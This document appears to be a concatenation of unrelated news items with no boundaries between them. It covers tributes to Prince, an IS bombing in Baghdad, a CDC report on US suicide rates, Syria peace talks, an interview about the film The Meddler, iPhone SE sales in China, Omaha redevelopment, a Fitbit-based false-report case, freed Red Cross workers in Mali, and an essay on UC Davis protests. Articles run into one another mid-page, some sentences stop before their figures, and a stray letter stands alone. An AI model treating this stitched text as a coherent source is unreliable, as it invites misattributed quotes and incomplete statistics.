"Prince's talent was limitless. He was one of the most unique and talented artists of the last 30 years."

Aretha Franklin

"It's such a blow. It's really surreal. It's just kind of unbelievable. He was definitely an original and a one of a kind. Truly there was only one Prince."

Lenny Kravitz

"My musical brother... My friend... The one who showed me the possibilities within myself, changed everything, and kept his integrity until the end, is gone. I am heartbroken."

Billy Idol

"Oh my god I can't believe that Prince has died he was a great great talent ... RIP."

Lionel Richie

"I can't believe it, I'm in total shock. So many wonderful memories, I will miss him."

Boy George

"Today is the worst day ever. Prince R.I.P I am crying!"

Katy Perry

"And just like that... the world lost a lot of magic. Rest in peace Prince! Thanks for giving us so much..."

Spike Lee

"I Miss My Brother. Prince Was A Funny Cat. Great Sense Of Humor."
Baghdad (AFP) - A suicide attack claimed by the Islamic State group killed at least eight people at a Shiite mosque on the southwestern edge of Baghdad on Friday, security and medical officials said.

The blast, which occurred shortly after Friday prayers, also wounded at least 33 people, the officials said.

An AFP journalist saw the bodies of three people being taken away in coffins from the site of the attack.

Gunmen wearing military uniforms with patches identifying them as members of the Asaib Ahl al-Haq militia surrounded the site of the bombing and prevented media from taking photographs or video, the journalist said.

The Islamic State group issued a statement claiming the attack, saying it was carried out by two militants.

An interior ministry official also said that two suicide bombers were involved, but a police colonel put their number at one.

IS carries out frequent bombings and other attacks targeting members of Iraq's Shiite majority, whom it considers heretics.

IS overran swathes of territory north and west of Baghdad in 2014, but Iraqi forces backed by US-led air strikes have since regained significant ground.

Bombings in Baghdad have decreased since mid-2014, with the jihadists preoccupied by fighting in other areas.

But IS still controls a large part of the country's west, and is able to carry out frequent bombings in government-held areas.
Rates of suicide in the United States have risen sharply among nearly every age group under 75 since 1999, according to a Centers for Disease Control and Prevention report released Friday.

S

National Center for Health Statistics statistician Sally Curtin, who worked on the report, said that the data is hard to come to terms with.

"I've been losing sleep over this, quite honestly," Curtin told NPR. "You can't just say it's confined to one age group or another for males and females. Truly at all ages people are at risk for this, and our youngest have some of the highest percent increases."

"I've been losing sleep over this, quite honestly."

The suicide rate for girls between 10 and 14 was one of the most chilling findings: Though the number of suicides for that group was relatively low in 1999, at 0.5 per 100,000 people, by 2014 that number had tripled to

The other staggering figure pertained to suicide among Native Americans, who saw the sharpest increase of all ethnic groups, with rates inflating by 89% for women and 38% for men.

The federal data doesn't speculate a cause for the increases, but Rutgers University professor of sociology Julia A. Phillips told the Washington Post that 2008's Great Recession likely played a role.

"People [were] growing up with a certain expectation ... and the Great Recession and other things have really changed that," Phillips said. "Things aren't panning out the way people expect. I feel for sure that has had an effect."
Geneva (AFP) - A fragile ceasefire in Syria is in grave peril, the UN warned Friday, insisting that a high-level meeting of countries with influence in the war-ravaged nation was "urgently needed" to shore up faltering peace efforts.

The truce "is still in effect, but it is in great trouble if we don't act quickly," the United Nations' top envoy for Syria Staffan de Mistura told reporters.

A ceasefire took effect in Syria at the end of February, but the country has been rocked by fighting in recent weeks, particularly around the city of Aleppo.

Frustrated by the surging violence and lacking access for desperately needed humanitarian aid on the ground, Syria's main opposition High Negotiations Committee (HNC) earlier this week halted its formal participation in peace talks at United Nations headquarters in Geneva.

But de Mistura said Friday members of his team had continued to hold "very, very productive" meetings at a technical level with remaining HNC members at their Geneva hotel, and said he intended to push ahead with the talks until "probably Wednesday, as originally planned."

"We need to try until Wednesday to get as deep as possible in the areas that we have been starting discussing, and we can do that both formally, informally, technically, practically, but we need to do it," he said.

De Mistura called on the international community to come together to help strengthen the ceasefire and support the difficult peace drive.

He called for a new high-level meeting of the 17-country International Syria Support Group, which is co-chaired by the United States and Russia, who brokered the February "cessation of hostilities" deal.

"We do need certainly a new ISSG at the ministerial level, because the level of danger ... (means such a meeting) is urgently required," he said.

US President Barack Obama on Friday voiced alarm at the situation in Syria.

"I am deeply concerned about the cessation of hostilities fraying and whether it's sustainable," he said at a press conference in London with Prime Minister David Cameron.

Syria's conflict erupted in March 2011 with anti-government protests, but has since spiralled into a multi-front war that has left more than 270,000 people dead.
GENEVA (Reuters) - The Syrian government delegation in Geneva said on Friday that it had discussed humanitarian issues with the United Nations Special Envoy and would meet him again on Monday. Ambassador Bashar Ja'afari, head of the government delegation, was speaking to reporters in Geneva following talks with U.N. Special Envoy for Syria Staffan de Mistura, after the main opposition High Negotiations Committee (HNC) halted its participation in the formal talks and left the Swiss city. Ja'afari accused Qatar, Turkey and Saudi Arabia of sponsoring terrorism in Syria and denounced "illegal coercive sanctions" by major powers against his homeland. "This includes a boycott of Syrian banks and preventing investment in Syria. It would seem the only investment done in Syria is investment in terrorism, it looks like a winning project." He took no questions from reporters. (Reporting by Stephanie Nebehay; Editing by Hugh Lawson)
We talked mother/daughter relationships and movies, with the women behind The Meddler

We talked mother/daughter relationships and movies, with the women behind The Meddler

Anyway, we dont see enough mother/daughter relationships on the big screen, and we especially dont see enough of that dynamic as told from the mothers perspective. Which is exactly where The Meddler steps in, hopefully beginning a trend that will right that cinematic wrong. The Meddler, starring Susan Sarandon as meddling mom Marnie (who begins every long-winded voicemail to her daughter Lori  played by Rose Byrne  with the word anyway), tells the story of these women as they work through the grief of losing Marnies husband and Loris father. When we enter the world of The Meddler, Marnie has recently moved from New Jersey to Los Angeles to be closer to Lori  the films heart and humor unfold from there.

The film is inspired by my mother, who is a bit of a meddler, herself, screenwriter and director Lorene Scafaria (best known for Nick and Norahs Infinite Playlist and Seeking a Friend for the End of the World) told HelloGiggles in an interview. She moved from New Jersey to Los Angeles after my dad passed away, about six years ago, to be closer to me, and now were very, very, very, very close. If the scenes in the film are any indication of the closeness, Scafaraia could likely add a few more verys in there.

[My mom] is certainly a meddler but I was so much more interested in telling her side of the story, and really changing what meddler means, and seeing what your mom is doing when youre not calling her back, Scafaria said. Shes always been there for me and I really just wanted to tell her side of the story.

As for what Marnie does when Lori doesnt call her back, she keeps quite busy. She makes friends and forms relationships (notably with a retired cop named Zipper, played by J.K. Simmons), she helps plan a wedding and muddles through her widows grief the best way she knows how  by connecting.

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JKSimmonsSusanSarandon

I met with Lorene, and I was happy she was so passionate about telling the story, Sarandon told HelloGiggles about her initial attachment to the film. If you ask a director, why do you want to do this? and they dont have an answer, thats always a red flag. But she did have an answer. Her answer, of course, was to tell this very personal story. But with that specificity also comes a universality, a my mom does that too kind of feeling.

I was just obsessed with Susan playing the part, Scafaria told us. So, after cold e-mailing Sarandons agent the script, then having the aforementioned conversation with Sarandon, Scafaria sent on some footage that sealed the deal. [Lorene] sent me a little sizzle reel of her actual mom doing the actual opening of the movie  going shot by shot, exactly what you see in the film  and I just fell in love with her once I saw the embodiment of what I was reading, Sarandon said in a separate conversation.

While Sarandon and Scafaria both noted the differences between the fictionalized version of Marnie and Lorenes actual mom, there are qualities in her that Sarandon definitely understood. I can relate to her feelings of loneliness and trying to date again after youve been in a long relationship, even though my spouse didnt die, Sarandon said. Starting out again and figuring out, as an older person, how that works and trying to be there for your kids but at the same time not be too meddling. I am a meddler and they meddle back.

DinnerTheMeddler

Discussing these mother/daughter relationships  both on-screen and off  brought to light just how underrepresented these special relationships are in Hollywood. Its a great relationship to explore, Byrne added. Whats funny is people say there have been so many of these [mother/daughter films], Scafaria said. But then I really did have trouble thinking of them. I feel like you have to almost go back to the 80s to really find them. There are great mother/daughter relationships seen on film, but since so many of them are from the daughters perspective the moms arent really that fleshed out necessarily.

As for their favorite mother/daughter movies to watch, Terms of Endearment is a heartbreaker, Byrne said. I had fun doing Stepmom, Sarandon added. Talking to those kids, trying to figure out ways to make that situation specific, not just mother/daughter but also mother/son.

Scafarias picks echo Byrnes, Well, Terms of Endearment is like the greatest film of all time. Postcards From the Edge is also good.

As for us, well be adding The Meddler to our list. Anyway . . .

The Meddler is now playing in select theaters.

The post We talked mother/daughter relationships and movies, with the women behind The Meddler appeared first on HelloGiggles.
At the high end of the smartphone market, Apple and Samsung continue to dominate as other global brands fight for scraps. This has been the case in the industry for quite some time now, and at this rate it's not likely to change anytime soon. At the low end of the market though, something curious has happened over the past few years. A wave of China-based companies has stormed the market with surprisingly capable smartphones being sold at incredibly low prices, and they have stolen a massive chunk of business from established players like Samsung, LG and HTC.

Of all the companies analysts thought might be able to fight back against these budget brands, Apple certainly wasn't at the top of any lists  but it looks like that's exactly what's happening.

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In the grand scheme of things, Apple's new iPhone SE isn't terribly affordable. The $399 to $499 price range is a bargain compared to other iPhones, but perfectly capable handsets can be purchased from Chinese Android phone vendors for half the price. One such company called Xiaomi has built a massive business worth billions by copying Apple's playbook but selling low-cost smartphones instead of high-end handsets.

Samsung in particular has had a great deal of trouble with these budget brands in recent years. The company's profits slid for seven consecutive quarters at one point thanks largely to pressure from these Chinese companies. Apple, on the other hand, has never fought at the low end of the market, so the impact felt from these brands hasn't been anywhere near as powerful.

Interestingly, a new report claims it's now Apple that is stealing market share away from more aggressive Chinese brands thanks to the lower-cost iPhone SE.

"The launch of relatively low-priced iPhone SE in China has squeezed market share from local brands, including Huawei, Xiaomi Technology, Vivo and Oppo, affecting the earning performance of these brands," Digitimes said in a new report.

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Of note, the site's supply chain sources have been hit or miss in the past. But other reports have also suggested the iPhone SE has been a strong performer in the region, with preorders at third-party retailers alone said to have reached 3.4 million units ahead of launch.

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A look down Farnam street in Omaha, Neb. (Photo: Brad Iwen)

Five years ago, the corner of 40th and Farnam didnt inspire much hope.

Save for a few random storefronts, the street was deserted, and many of the buildings had been boarded up. As money was poured into developing the downtown area, and businesses continued to move out west, it appeared that many locals had simply forgotten about this part of town.

Not Jay Lund.

The commercial real estate broker saw potential in the abandoned midtown neighborhood, which in its heyday was a profitable business district and home to some of Omahas wealthiest families. In 2012, he and a few friends bought the building on the corner of 40th and Farnam.

The first three business to pop up were, Scriptown Brewery, Archetype Coffee, and a taco restaurant called Mula. Four years later, the area has been branded the Blackstone district (the historic name for the neighborhood), and 20 new businesses have joined the party.

So far, Lund and his business partner Matt Dwyer have leased 60,000 square feet of commercial space in Blackstone with their company Greenslate Development, and there are a handful of new renovation projects in the works. Most notably, Lund plans to build 180 new apartments.



It really started as a side project, we thought it might be fun, and now its spiraled completely out of control, Lund told Yahoo Finance.

This side project has brought nearly $10 million in new retail sales to Omaha, and well over $30 million has been invested in Blackstone projects. Lund credits the neighborhoods success to the amazing tenants who have brought diverse and quirky businesses to the area.

The bar at Night Owl in Omaha, Neb. (Photo: Daniel Johnson)

Many of our tenants lived here before moving to cities like Portland, Denver, Austin, Chicago, or New York, said Lund. Whey they moved back, they had all of these creative ideas for bars and restaurants in Omaha, says Lund.

Take the Night Owl, a retro bar decorated with odd art and mismatched chandeliers. When you walk through the doors, the first thing youll notice is the sunken bar (very reminiscent of Don Drapers apartment in Mad Men) and the smell of tater tots. Thats right, in addition to beer, whisky shots and wine, you can order a plate of Tat-chos (tater tot nachos) for you and your friends. If that doesnt get you excited, patrons can also order the kitchen staff a 6-pack of beer off of the menu. It costs $12 if you were wondering.

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Then there is Mula, a spot dedicated to serving up Mexican street food from tacos to tortas. Its also a licensed tequileria with 120 different tequilas.

Oh, and we cant forget to mention Nolis Pizzeria, who takes their pledge of serving up New York-style pizza so seriously that they actually use water from New York in the dough. Rumor has it that local water in New York is what makes the bagels and pizza so irresistible, so Noli has partnered with a local filtration company in the Empire State to bring that taste to Omaha.

There's a tequila for every situation at Mula Kitchen and Tequileria in Omaha, Neb. (Photo: Brad Iwen)

While the innovative tenants have given this neighborhood its distinct feel, Lund also credits the location of the Blackstone District as a contributor to its success.

Were blocks away from the University of Nebraska Medical Center which is the largest economic generator in the state, and they have 15 to 20-thousand people on their campus every day, says Lund. To the east we have big businesses like Mutual of Omaha, Kiewit and Berkshire HathawayI can see warren Buffetts office from mine!"

Blackstones growth mirrors the success of Benson, another neighborhood in Omaha that has seen tremendous expansion over the past 10 years.

John Larkin opened Jakes Cigars and Spirits on 62nd and Maple in 2006, at a time when Benson was virtual ghost town with a few divey bars and thrift stores. Six months later, a concert venue called the Waiting Room moved in, and the word got out about Benson.

Things really started to pick up around 2010 when we saw our first party bus, Larkin jokes. It had a real hipster feel in the beginning, but that has mellowed and now the crowd is more diverse.

Although Benson has moved away from its hipster roots, the vibe is still undeniably chill. In addition to Jakes, Larkin also owns Beercade, a relaxed bar serving up craft beer, classic arcade games and pin ball.

Beer and arcade = Beercade in Benson, Neb. (Photo: Kevin Franz)

Across the street is Infusion Brewing Company, a brewery and tap room that offers 10 hand-crafted beers and hosts tours twice a week. Other popular spots include Lot 2 Restaurant and Wine Bar, Benson Brewery, and 1912 Benson.

My hope for Benson is that people who have bought property here will actually invest the money needed to introduce new stores and restaurants to the area, says Larkin. Its been cool to be a part of this growth and I hope more people want to be a part of the neighborhood.

In five years, Lund sees the Blackstone district flourishing as Benson has  with more living options, more local concepts, and improved mass transit.

He also hopes that channeling Omahas past will continue to shape its future.

In the 40s and 50s, Blackstone was thriving, and there was a streetcar that ran down Farnam street, he said. Its a really vital corridor to the city, and Id like to see it return one day, he said.

Have more questions about the culture scene in Omaha? Email us at yfmoneymailbag@yahoo.com.

On April 30th, Yahoo Finance will have an exclusive live stream of the Berkshire Hathaway annual meeting. Click here for more information.


Are fitness gadgets the new lie detector tests?

The Wall Street Journal reports that a criminal case in Pennsylvania was recently dismissed after police discovered new evidence on a Fitbit wristband. Jeannine M. Risley, 44, called 911 last year claiming that she had been raped in the middle of the night by an unidentified male intruder in her home.

One officer who responded to the call asked Risley for permission to take a Fitbit he noticed on the floor. She obliged, and as it turns out, doing so turned the case against Risley.

According to the data on the Fitbit, Risley had been awake and walking around during the time she claimed to be asleep in bed. Whoops!

Per the affidavit:

The information collected from the fit bit [sic] device showed that Nina was awake and walking around the entire night prior to the incident and did not go to bed as reported. The Fitbit shows activity up until the time of the call and then again only when it is collected by your Affiant. That based on the above and additional evidence your Affiant believes that the Defendant Nina Risley was not raped as reported and fabricated the entire incident.

Additionally, there was no evidence of footprints leading to the scene  despite the fact that the yard was covered in snow.

The findings led a judge to order Risley to complete two years of probation and 100 hours of community service for the charges of reporting a false alarm, tampering with physical evidence, and making a false report  though, as a first-time offender, her record will be cleared on the condition that she complies entirely.

Whereas the accuracy of traditional polygraph tests has long been questioned  anxiety doesnt necessarily mean someone is lying or telling the truth  the sole purpose of a Fitbit or similar fitness tool is to record activity levels. Its interesting to see it being applied in a crime investigation.

Fitbit could have a brand-new fan base of law-enforcement professionals on its hands. Though it may lose some current customers as well  namely, those who break the law and arent keen on being proved guilty.

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Bamako (AFP) - Three Red Cross workers captured in northeastern Mali last weekend by Islamist group Ansar Dine have been freed, the International Committee of the Red Cross said Friday.

"The best news we could get: our three colleagues in Mali are free, safe and sound," ICRC head Peter Maurer said on Twitter, with the news confirmed by the aid group's spokesman in Bamako, Valery Mbaoh Nana.

"Our colleagues have been set free without conditions," Mbaoh Nana told AFP in Bamako.

"We are extremely pleased with this happy outcome."

The three aid workers, who were not named, were freed in Kidal, capital of the restive region of the same name, where they were kidnapped on April 16.

They had been on mission in the north of the region when they were taken hostage, Mbaoh Nana said.

Ansar Dine, one of several jihadist groups roaming Mali's north, on Thursday claimed responsibility for the kidnapping.

"We have three people who work for the Red Cross. We want Barkhane (French forces) to free Miyatene Ag Mayaris before we will release them," Nourredine Ag Mohamed, a senior militant from the group, told AFP.

Multiple sources say Miyatene Ag Mayaris, a local guide recruited to work for the ICRC, was arrested by French forces.

Previously been suspected of being an Ansar Dine militant, it remains unclear whether he has been freed.

"If we managed to secure the release today, it is thanks to the processes set off by the ICRC through its contacts in northern Mali, including religious, community and administrative leaders. All of the ICRC's efforts and contacts were mobilised in order to secure this result," Mbaoh Nana said.

France's Operation Barkhane, launched in 2014, has seen 3,500 soldiers deployed across five countries in the Sahel region to maintain cross-border security following the ousting of jihadists from key towns in Mali's north.

It is the successor to a military intervention that freed Mali's vast, desolate north from the control of Tuareg-led rebels who allied with jihadist groups linked to Al-Qaeda in 2012.

A protest against foreign forces including Barkhane left one demonstrator dead on Monday, underlining simmering tensions between the local population and UN and French troops based in the area.
DAKAR (Reuters) - Three Red Cross workers who went missing in northern Mali last week are free and in good condition, the president of the Geneva-based organization said on Friday. The International Committee of the Red Cross lost contact with four of its staff on Saturday as they were driving back to their base in the town of Kidal. "The best news we could get: our three colleagues in Mali are free, safe and sound," Peter Maurer said in his Twitter account. One of the four was found on Sunday, an ICRC spokesman had earlier said. That Red Cross worker said the team had been accosted by a man on a motorcycle who demanded they follow him. It was not immediately clear why the three were then out of contact for several days. The incident came a day after the group's local guide was arrested by soldiers from a regional anti-militant operation, the ICRC worker said, according to the spokesman. The Kidal region is the center of a separatist movement and home to Islamist militants, some linked to al Qaeda, who have staged a series of high profile attacks in Mali and beyond in the past year. (Reporting by Marine Pennetier; Editing by Joe Bavier and Andrew Roche)
At UC Davis, where student activists still hope to oust Chancellor Linda Katehi, critics of their activism are using concepts like safe space and hostile climate to attack it.

The student activists had occupied a small room outside Katehis office, planning to stay until their chancellor resigned or was removed from her post. By the time they left 36 days later, a petition that now bears roughly 100 signatures of UC Davis students and staff were demanding that they prematurely end their occupation, criticizing their tactics, and alleging a number of grave transgressions: The signatories accused the student activists of sexism, racism, bullying, abuse, and harassment, complaining that many who used the administration building no longer feel safe. The student activists say that those charges are unfair.

The conflict illustrates a pattern that campus observers are likely see more and more in coming years: Insofar as progressives succeed in remaking campuses into places unusually sensitive to psychological harms, where transgressing against safe spaces is both easy to do and verboten, confrontational activism will no longer be viable.

Recommended: The Obama Doctrine

Too many people feel upset by it.

* * *

Like the activists whove called on Katehi to resign, Ive condemned the 2011 pepper-spraying of UC Davis students lawfully assembled on a quad, the Katehi administrations costly attempt to scrub that assault on students from Google, and Katehis ill-conceived if lucrative moonlighting on the board of a textbook company.

This week, the Sacramento Bee reports that Katehi hired more crisis communication consultants when the student activists started occupying her office, because, in her words, You have students in front of your office, you know its a crisis. She didnt use her existing communications staff for whatever it is that the consultants do because no one on UC Davis communications staff has crisis-management experience. Though the students have now left her office area, the firm is still in the universitys employment working on another crisis that the chancellor said she could not reveal. Nothing about these statements is reassuring!

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The fact that anti-Katehi students are now under fire should not influence UC system overseers, state legislators, Davis professors, or voters as they gauge their confidence in the chancellors administration. Even critics of the activists note that their movement neither supports nor opposes Katehiits members are united only by objections to activist tactics.

But the anti-activist backlash is relevant to those trying to understand campus politics and to activists who care enough about righteous causes to avoid derailing them. The 100-some critics of the campus activists began their statement as follows:

Some of us agree with the broader issues of the protesters, like greater transparency and more dialogue between the students and campus administration. But we write to strongly condemn the tactics of the protesters, including sexist and racist behaviors, threatening and bullying of staff, students and faculty who come to Mrak Hall to work. We feel that these actions undermine not only the values of our campus community, but also the ideals which the protesters claim to defend. Several students and staff have been treated abusively by the protesters.

Its worth pausing here to note that, this being a group petition on a college campus, whats characterized as threatening and bullying and abuse may describe behavior that others would call harassing or annoying or irritating. Concept creep has robbed us of linguistic clarity or precision in these matters.

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That said, the first specific allegation is disconcerting:

Several protesters took to shouting that an employee was a coconut (brown on the outside, white on the inside) for being a Latina who works for UC Davis.

Since my days in college, when I first heard a friend attacked as a banana for challenging a belief of a campus Asian American group, my blood has boiled at the tiny but noxious subset of leftists who stress the importance of identity in politics, then try to exclude people of color from their own respective racial groups often using slursto evade an inconvenient reality: Neither African Americans nor Latinos nor Asian Americans nor Pacific Islanders nor women are ideologically monolithic. Social-justice progressives do not speak for many in those groups.

The statement continued:

Several students and staff were stalked for a period of time after leaving a meeting with the Chancellor. Many students and staff who are supposed to work in Mrak no longer feel safe. Staff and student workers have been also filmed without their permission. For the sake of the daily operations of UC Davis, we call upon the Mrak Hall protesters to move their protest to a location that does not lead to these aggressive disruptions of UC staff and student work spaces in case they have plans to continue this protest.

Again, I suspect my threshold for what constitutes stalking is higher than that employed by the authors of this letter. Whats beyond dispute is that a group of protesters followed Katehi and a small group of students and staff she was speaking with across campus, filming them without their consent, snarking at Katehi, making her companions visibly uncomfortableas almost anyone would have been in similar circumstancesand coming off  well, you can judge for yourself:

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This was petulant and self-indulgent. It was an excuse for two or three activists to peacock and self-aggrandize. The fact that it was posted publicly, as if those who took the footage thought it reflected well on them even in hindsight, astonishes me. The female activist who shouts her head off across campus, literally serenading her chancellor with insults, claims at one point that she is being silenced!

But the part that struck me most is when, at roughly 6:25, one of the student activists reacts to the apparently unplanned arrival of an adult black male, who is friendly toward Katehi, by accusing the chancellor of doing what they usually do, which is grabbing a person of color as a shieldthats a tactic that the chancellor likes to use.

This for merely talking to a black person who approached.

That activist couldnt see the black man as an autonomous subjectonly as a white persons prop. The offensive jump makes sense within a highly stylized ideology wherein Katehi is the oppressor and all black people are the oppressed. By that logic, the only possible reason she would be doing something as enlightened as cordially interacting with one of the oppressed is if the black man was functioning not as a person, but as a prop and a tactic, never mind his agency.

The whole encounter is dripping with dehumanization.

Its ironic, this recurring feature of campus protests: Time after time, activists wield phone cameras, intending to publicly discredit any adversary who lets so much as a microaggression slip. And in doing so, they inadvertently reveal prejudices that spring predictably, though quite unintentionally, from flaws in their belief system.

The statement opposing the occupation of the administration building concluded as follows:

The administration has also committed to addressing conflict of interest issues more transparently. Beyond this, what is the real goal of this protest? Day by day more staff and students are harassed as they merely commute to their offices to do the work that supports the primary mission of this institution: teaching, research and public service. We feel that this protest has lost its purpose and is dividing the campus community. The protest has fostered a hostile climate on UC Davis campus. We want to see a united campus and not a divided campus. The reality is that Chancellor Katehis resignation will not solve the problems of privatization. The tactics of the protesters to aggressively and abrasively silence other students, staff and faculty with whom they do not share the same opinion is hypocritical, abusive and contrary to the ideals of our institution, which fosters free and open debate. We call upon the Mrak Hall protesters to walk the walk and engage the broader campus community in a dialogue on the legitimate issues of transparency, privatization and reform. By dialogue we do not mean acquiescing to the Chancellors or Regents opinion. Rather, we would like to encourage the protesters and the rest of the campus community to have a constructive dialogue in an environment that is not hostile, aggressive and threatening to those with whom they do not share an opinion.

Notice that the activists are being accused of fostering a hostile climate, of acting to silence students, staff, and facultythe very transgressions that loom so large on college campuses because of the ideology advanced by other social-justice activists.

Of course, one neednt adopt the social-justice lefts ideas about sensitivity to harm, or find it credible that anyone on either side was somehow silenced at UC Davis, to believe some anti-Katehi activists behaved badly. Ive already objected to the behavior of the activists in the video above. Legally speaking, I rather doubt that anyone crossed the hostile climate threshold for any staffers in the administration building, but I cant be certain. A rotating band of more than one hundred students were in and out, in small groups, for a month. Some were polite, others rude. I do not know who did what to whom, or how often they did it. Odds are I would find the behavior of some activists laudable and others worthy of sharp criticism. But the accounts of Katehis subordinates cant be presumed unbiased.

Regardless, all this raises a larger question: almost everyone agrees that student protests of some sort should be tolerated, or even celebratedand that, beyond a given threshold of aggressiveness or disruptiveness, its legitimate to enforce harassment laws, constitutional time-and-place restrictions, and other lawful limits.

But how is that threshold set?

The classic liberal answers are relatively well trod.

The civil-rights movement, the free-speech movement, the anti-Vietnam protests, and protesters on both sides of the gun and abortion questions have all deliberately tried to make others uncomfortable, intellectually if not physically. Theyve all shouted, insulted, provoked, and tried to deny their opponents safe spaces.

Todays strain of campus progressivism has a more ambiguous relationship with traditional liberal values, finding them too viewpoint neutral and rough-and-tumble.

Still, most campus protests are left-leaning. And administrators cannot help but realize that almost all of that activism is, on some level, about confrontationthat it frequently involves a lot of shouting or chanting or marching or banging on drums. Now, any time such protests challenge the interests of the administration, or make their jobs marginally harder or their lives marginally more inconvenient, they can always pinpoint some folks who are earnestly upset or unnerved by all the ruckus.

They can always undermine the activists of the moment by finding the students experiencing trauma from all the conflict; the staff members who feel unsafe around protesters, the community member who, in the new paradigm, somehow feel silenced.

As best I can tell, this does not worry leftist activists yet, perhaps because they mostly operate on shorter time-horizons than other campus power brokers, or perhaps because they see themselves as marginalized and mistakenly believe these standards will never be applied to them, even though its already happening.

When I reached out to a contact at UC Davis, soliciting a response to the allegations made against the anti-Katehi movement, I got a few thoughtful emails back.

Heres Rebecca Senteny, an English major at UC Davis:

Being in a position of power means that you should be open and responsive to criticism. It also means that you have advantages over those who would criticize you, such as students, workers, and lower-level staff. Because of this advantage, these groups often have to engage in tactics outside of the system in order to have their concerns be truly addressed. Loud forms of protest such as marches and sit-ins might be classified as bullying by some and as a refusal to engage in civil dialogue, but this critique is assuming that so-called civil forms of dialogue are not disproportionately in favor of those in leadership positions and that student activists, workers, etc will be able to engage in that dialogue in a fair way. Have the Fire Katehi protestors been loud? Yes. Have we been direct? Yes. Have we been bullies? I do not think so. Many of the students, workers, and community members that have been involved in this protest are from marginalized communities and in a much more vulnerable position than Katehi or her administration; they have the chance to really harm us, either by arrest, academic suspension, or even expulsion. If we had the power to bully the chancellor, then why is she still in office? We are so powerful that we have been protesting for over a month and she is still there. We have more people than her, but she has more power. She has the power to contact the entire student body at once; we do not have the power to respond to all of the students in kind with our own side of the story. The administration can continue to paint us as bullies, Katehi can say that she feels personally attacked, and some people will continue to buy into that, because what is the argument of a few passionate students in the face of administrative power. However, we will continue to fight for our university and for the disenfranchised, even against the odds, because together we can be powerful.

There are important aspects of that email that I agree with, and it would be a relatively strong response to the counterprotesters if theyd just accused the student activists of bullying Katehi. But the difference-in-power argument disappears when the allegations of bullying, silencing, and creating a hostile climate are being made by low-salary staff and fellow students.

Heres an email from anti-Katehi activist Carli Hambley, a third year Anthropology major:

Living in Mrak Hall was on the one hand, for the sake of the community the protesters created, one of the more supportive, inclusive, and accountable spaces I've been a part of; while on the other, for the fault of the administrators, was one of the more draining, toxic, and unhealthy spaces I've been in. While many of the staff in Mrak Hall were genuinely supportive of us and shared our goals, many more of the administrators were condescending, transphobic, immature, and just outright mean. Every day, some high up administratorusually Milton Lang, Anne Myler, or Sheri Atkinsonwould come in to give us "our daily reminders" as they would call them, which, in reality, were candid threats against our safety as they served to remind us of the omnipresent police that "were out of their control" and of our violations of Student Code that could cost us our position as students at UC Davis. I remember one night Sheri and Milton came in and told us that the staff of the fifth floor were filing reports against us because they were concerned for their safety, and when I questioned them about what we are supposed to do about our safety, all Milton could say was to call the police or file a report. The whole reason we were in that room and the reason we are continuing to fight for an accountable administration is because our safety as students and workers, especially that of people of color and queer and trans* people of color on this campus, has been under attack for so long. While the administrators on the fifth floor make multi-figure salaries and write their reports behind locked doors, we sit open and vulnerable with no process or promise for our safety.

Notice that this student complained about some sort of Im concerned for my safety reports being filed, ostensibly illegitimately, against student activiststhe very development that critics of illiberalism on campus have predicted. In her view, its the people on her side who are unsafe, who are "under attack. Shes implicitly appealing to outsiders who read her press statement to make a judgment call, to skeptically evaluate what others at Davis are claiming about their safety.

Again, I dont know enough about what really happened to take sides. But I dont think activists like her can prevail in this dispute if they live on a campus where subjectively asserting that one feels unsafe is never to be questioned or challenged. Hambley implicitly made a case for objective standards and logical scrutiny.

Heres another voice from UC Davis, former graduate student Amandeep Kaur, who is now a Chancellors Science Fellow and Director of the Emerging Leaders in Policy and Public Service program. As a woman of color she is, in the previous emailers telling, under attack from the Katehi administration. Yet she wrote this in a public Facebook post:

Today I was BULLIED by Fire Katehi protestors when I entered the 5th floor of Mrak Hall. I am Chancellor Linda Katehi's Science Fellow and I have been working in the Office of the Chancellor for almost last 2 years. Before that, as a student leader and an advocate for underrepresented student groups during my time as a PhD student at UC Davis, I advocated for numerous causes and organized Diversity Dialogues on Graduate Education which were attended by 300 members of UC Davis community. I organized a campaign in 2012-13 which led to new post candidacy fellowships for international PhD students and a revised budget model the following year. I know what oppression feels like and today 2 of these protestors oppressed me and questioned my identity as a woman of color. They engaged with me when I entered the office through the elevator. They stalked the Chancellor, Vice Chancellor, me and a student when we were walking to the Mrak Hall prior to that. And then one of them laughed in my face when I said to them stop bullying me after they engaged with me and questioned my ethics because I work in the Office of the Chancellor. I have kept quiet for a long time but today when I was bullied I have decided to break my silence. I will not tolerate racism, bullying and oppression ever, no matter where it comes from. To me its hurtful and its unacceptable.Chancellor Linda Katehi has been a huge supporter of students and I feel blessed to have had the opportunity to not only work with her when I was a student on this campus and now as her science fellow as well. #StopBullying #StopBullyingUCDStaff

Some campus activists seem to think that, by declaring themselves marginalized and the people they protest oppressors, they can benefit from a double-standard in how sensitive to harm theyre expected to be. In the short run, this sometimes works. But the world is rarely divided neatly between oppressors and the oppressed, especially on college campuses. There are people of color on every college campus who will sharply, earnestly disagree with almost any activist effort of any significance.

And in the long run, it's strange to count on a status quo where the powerful willingly hold themselves to disadvantageous standards with regard to people theyre oppressing.

That just isnt going to happen.

None of that is to render any overall judgment in the dispute between the UC Davis occupiers, whove done a service by bringing wider attention to Katehis misdeeds, and the folks who urged them to end their occupation, who may or may not have sound grievances. Theres too much I dont know about the contradictory claims flying around, and all of it is cloaked in such slippery language and creeping concepts as to be impenetrable. But Im confident that both sides really do feel unsafe and bullied, whatever those words have come to mean in their campus subculture. To me, that underscores why subjective feelings about such things just cant determine winners and losers in campus politics.

Now that the Davis occupation is overas Katehi confers with her crisis communication consultants as they work on their secret projectanti-Katehi activists are plotting their next steps. I hope the offending activists will reconsider their ugly, prejudicial treatment of black and brown people who are allied with the embattled chancellor, and refocus on the fact that a powerful substantive case for Katehis ouster can be made without any need to be personally hostile, snide, or sanctimonious to any classmates, professors, UC Davis staff, or even Katehi herself.

Hopefully, the more responsible anti-Katehi activists will influence their peers.

A lot is at stake. The UC Davis protests touch on nationally important problems: administrative accountability, the stifling of lawful protest, police brutality, excessive union protections for cops, and the corporatization of higher education, exemplified by a chancellor taking money from a textbook company andits almost too perfectthe hiring of a PR firm to scrub posts about police brutality on campus from the web, which is to say, a university elevating corporate image over the search for facts.

